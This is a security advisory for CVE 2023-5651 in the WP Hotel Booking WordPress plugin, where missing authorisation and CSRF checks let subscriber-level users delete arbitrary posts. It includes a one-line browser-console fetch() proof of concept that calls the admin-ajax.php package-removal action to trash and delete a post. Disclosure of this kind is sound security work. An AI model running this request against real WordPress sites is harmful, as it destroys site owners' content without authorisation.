WP Hotel Booking < 2.0.8 – Subscriber+ Arbitrary Post Deletion | CVE 2023-5651 | Plugin Vulnerabilities

Description

The plugin does not have authorisation and CSRF checks, as well as does not ensure that the package to be deleted is a package, allowing any authenticated users, such as subscriber to delete arbitrary posts

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user. This will put the post with ID 1 in the trash. Run it again to then delete the post

fetch("/wp-admin/admin-ajax.php", {"headers": {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},"body": 'action=tp_extra_package_remove&package_id=1',"method": "POST"});
